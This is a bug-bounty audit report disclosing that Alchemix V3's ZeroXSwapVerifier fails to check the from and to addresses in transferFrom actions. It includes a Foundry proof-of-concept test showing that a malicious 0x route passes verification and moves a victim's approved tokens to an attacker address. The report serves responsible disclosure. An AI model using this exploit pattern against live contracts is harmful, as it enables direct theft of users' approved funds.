58079 sc low missing from validation in zeroxswapverifier verifyswapcalldata enables direct theft of approved funds
Submitted on Oct 30th 2025 at 13:33:25 UTC by @Novathemachine for Audit Comp | Alchemix V3
- Report ID: #58079
- Report Type: Smart Contract
- Report severity: Low
- Target: https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/utils/ZeroXSwapVerifier.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
ZeroXSwapVerifier approves malicious 0x routes because _verifyTransferFrom() never checks that the from address equals the owner. Once verified, a route can call transferFrom(owner, attacker, amount) and drain the owner’s approved tokens.
Vulnerability Details
-
Where: src/utils/ZeroXSwapVerifier.sol ,
_verifyTransferFrom(bytes action, address owner, address targetToken, uint256 targetAmount). -
What happens: The function decodes
(token, from, to, amount)but only enforcestoken == targetToken. It ignoresfromandto.(address token, , , uint256 amount) = abi.decode( _slice(action, 4), (address, address, address, uint256) ); require(token == targetToken, "IT"); -
Why it’s bad: Any
transferFromembedded in a 0x route that pulls from the victim will pass verification as long as the token matches. With an existing allowance to the 0x spender, funds move directly to an attacker-controlled address.
Impact Details
- Impact chosen: Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield.
- Any user who approved the 0x spender can lose their entire approved balance in a single verified route. No market or timing constraints limit the loss.
References
- Vulnerable code: src/utils/ZeroXSwapVerifier.sol (
_verifyTransferFrom()).
Proof of Concept
Proof of Concept
-
Add this test to src/test/ZeroXSwapVerifier.t.sol:
function testTransferFromArbitraryRecipientPassesVerification() public { address attacker = address(0xBEEF); uint256 amountToSteal = 10e18; vm.prank(owner); token.approve(spender, type(uint256).max); bytes memory maliciousAction = abi.encodeWithSelector( TRANSFER_FROM, address(token), owner, attacker, amountToSteal ); ZeroXSwapVerifier.SlippageAndActions memory saa = ZeroXSwapVerifier.SlippageAndActions({ recipient: attacker, buyToken: address(0), minAmountOut: 0, actions: new bytes[](1) }); saa.actions[0] = maliciousAction; bytes memory calldata_ = abi.encodeWithSelector(EXECUTE_SELECTOR, saa, new bytes[](0)); bool verified = ZeroXSwapVerifier.verifySwapCalldata( calldata_, owner, address(token), 10_000 ); assertTrue(verified, "verification unexpectedly failed"); vm.prank(spender); token.transferFrom(owner, attacker, amountToSteal); assertEq(token.balanceOf(attacker), amountToSteal, "attacker did not receive stolen funds"); assertEq(token.balanceOf(owner), 100e18 - amountToSteal, "owner balance mismatch after theft"); } -
Run the test:
forge test --match-path src/test/ZeroXSwapVerifier.t.sol --match-test testTransferFromArbitraryRecipientPassesVerification -
Expected result:
verifySwapCalldata()returns true, proving the malicious route is accepted.transferFrom(owner, attacker, amountToSteal)succeeds, and balances reflect the theft.